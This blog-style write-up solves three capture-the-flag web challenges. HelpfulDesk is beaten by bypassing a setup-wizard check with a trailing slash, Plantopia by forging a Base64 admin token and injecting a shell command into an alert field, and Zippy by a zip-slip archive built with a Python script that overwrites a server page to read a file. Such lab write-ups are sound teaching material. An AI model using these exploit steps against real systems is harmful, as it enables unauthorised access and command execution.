We get a homepage of a helpdesk website, there is a page for security updates. We notice there is a mention of a security update in version 1.2 but the webpage is still on version 1.1.

We download the source code and open the Helpfuldesk.dll in “dnSpy” to decompile and get the code. When we perform a diff on the files we find out this controller has received an update.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
namespace HelpfulDesk.Controllers
{
	// Token: 0x0200001F RID: 31
	[NullableContext(1)]
	[Nullable(0)]
	public class SetupController : Controller
	{
		// Token: 0x060000F9 RID: 249 RVA: 0x000041AC File Offset: 0x000023AC
		public IActionResult SetupWizard()
		{
			if (System.IO.File.Exists(this._credsFilePath))
			{
				string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
				if (requestPath.Equals("/Setup/SetupWizard", StringComparison.OrdinalIgnoreCase))
				{
					return this.View("Error", new ErrorViewModel
					{
						RequestId = "Server already set up.",
						ExceptionMessage = "Server already set up.",
						StatusCode = 403
					});
				}
			}
			return this.View();
		}

		// Token: 0x060000FA RID: 250 RVA: 0x0000422C File Offset: 0x0000242C
		[HttpPost]
		public IActionResult SetupWizard(string username, string password)
		{
			string filePath = Path.Combine(Directory.GetCurrentDirectory(), "credentials.json");
			List<AuthenticationService.UserCredentials> credentials = new List<AuthenticationService.UserCredentials>
			{
				new AuthenticationService.UserCredentials
				{
					Username = username,
					Password = password,
					IsAdmin = true
				}
			};
			string json = JsonSerializer.Serialize<List<AuthenticationService.UserCredentials>>(credentials, null);
			System.IO.File.WriteAllText(filePath, json);
			return this.RedirectToAction("SetupComplete");
		}

		// Token: 0x060000FB RID: 251 RVA: 0x00004289 File Offset: 0x00002489
		public IActionResult SetupComplete()
		{
			return this.View();
		}

		// Token: 0x0400009F RID: 159
		private readonly string _credsFilePath = "credentials.json";
	}
}

It updates the code to perform validation checks on the “/setup/SetupWizard” endpoint.

1
2
3
4
5
--- HelpfulDesk.Controllers	2024-10-29 17:00:00.000000000 -0400
+++ HelpfulDesk.Controllers	2024-10-29 17:00:00.000000000 -0400
@@ -1 +1 @@
-string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
+string requestPath = base.HttpContext.Request.Path.Value;

This means we can add a “/” to the endpoint and bypass the validation, going to “/setup/SetupWizard/” allows us to setup a new account and access the admin desktop files that contain the flag.

huntress-ctf-helpfuldesk-wizard

huntress-ctf-helpfuldesk-flag flag{b1370ac4fadd8c0237f8771d7d77286a} fuf -w /usr/share/wordlists/OneListForAll/onelistforallmicro.txt -recursion -u http://10.10.94.89/FUZZ -mc 200,301,302

Plantopia

There is an API that needs a Bearer token for authorization in API requests. The token is a Base64-encoded string representing the cookie format 'username.isAdmin.expirationTime'. There is an alert_command that seems to send a mail through a bash command which we could use to read the flag content.

  1. Encode the Authorization Token:
    • For an admin user with a nearly infinite expiration (admin.1.9999999991), encode the string in Base64:

      1
      2
      
      $ echo -n "admin.1.9999999991" | base64
      YWRtaW4uMS45OTk5OTk5OTkx
      
  2. Edit Plant API Request:
    • Send a POST request with the encoded token in the Authorization header, updating the plant description and triggering a command to read flag.txt:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      
      curl -X 'POST' \
        'http://challenge.ctf.games:31797/api/plants/2/edit' \
        -H 'accept: application/json' \
        -H 'Authorization: YWRtaW4uMS45OTk5OTk5OTkx' \
        -H 'Content-Type: application/json' \
        -d '{
          "description": "A beautiful sunflower.",
          "sunlight_level": 80,
          "watering_threshold": 50,
          "alert_command": "cat flag.txt; /usr/sbin/sendmail -t"
        }'
      
  3. Trigger the Command:
    • Use the following to activate the command via the admin endpoint:

      1
      2
      3
      4
      5
      6
      7
      8
      
      curl -X 'POST' \
        'http://challenge.ctf.games:31797/api/admin/sendmail' \
        -H 'accept: application/json' \
        -H 'Authorization: YWRtaW4uMS45OTk5OTk5OTkx' \
        -H 'Content-Type: application/json' \
        -d '{
          "plant_id": 2
        }'
      
  4. Result:
    • The flag appears in the server logs after executing the command. Below are relevant log entries:

      1
      2
      3
      
      2024-10-24 07:20:23,246 - DEBUG - Decoded cookie: username=admin, is_admin=1, expiration_time=9999999991
      2024-10-24 07:20:31,116 - DEBUG - Executing alert command for plant 2: cat flag.txt; /usr/sbin/sendmail -t
      2024-10-24 07:20:31,121 - DEBUG - Command output: flag{c29c4d53fc432f7caeb573a9f6eae6c6}
      

Zippy

Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for the small to medium business!

We get access to a webpage that allows us to upload zip files.

zippy-homepage

We have a browse function where we can browser and see the contents of a local directory. When trying . or ../ we see the current directory and the app structure.

zippy-browse-1

zippy-browse-2

Also we find this in the logs if we try to upload a test zip file.

zippy-upload

1
2
3
2024-10-31 18:46:00.645 +00:00 [INF] Saving uploaded file to /app/wwwroot/uploads/1            
2024-10-31 18:46:00.645 +00:00 [INF] Saving uploaded ZIP file to /app/wwwroot/uploads/1/test.zip
2024-10-31 18:46:00.645 +00:00 [INF] Extracting ZIP file /app/wwwroot/uploads/1/test.zip without path traversal checks.            

We can perform a zipslip attack where we create a zip file containing a file with a path traversal as name to overwrite an applciation file to show the contents of the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ cat zippy.py   
import zipfile
import os

zip_filename = "exploit.zip"
target_path = "../../../../app/Pages/Error.cshtml" # storing file in /app/Pages/Error.cshtml

code = """
@page

@{
    var flagPath = "/app/flag.txt";
    string flagContent;

    try
    {
        flagContent = System.IO.File.ReadAllText(flagPath);
    }
    catch
    {
        flagContent = "Error reading flag.";
    }
}

<!DOCTYPE html>
<html>
<head>
    <title>Flag Content</title>
</head>
<body>
    <h1>h4cked.</h1>
    <h2>Flag Contents:</h2>
    <pre>@flagContent</pre>
</body>
</html>
"""

with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zipf:
    zipf.writestr(target_path, code)

print(f"{zip_filename} created with payload at {target_path}")
1
2
$ python zippy.py
exploit.zip created with payload at ../../../../app/Pages/Error.cshtml

When we upload the file and check the logs, we can tell our path traversal worked.

1
2
3
2024-10-31 18:49:20.547 +00:00 [INF] Saving uploaded ZIP file to /app/wwwroot/uploads/1/exploit.zip
2024-10-31 18:49:20.547 +00:00 [INF] Extracting ZIP file /app/wwwroot/uploads/1/exploit.zip without path traversal checks.            
2024-10-31 18:49:20.547 +00:00 [INF] Extracting file to /app/Pages/Error.cshtml 

When we browse to the “/Error” endpoint, we get the flag.

zippy-flag

This post is licensed under CC BY 4.0 by the author.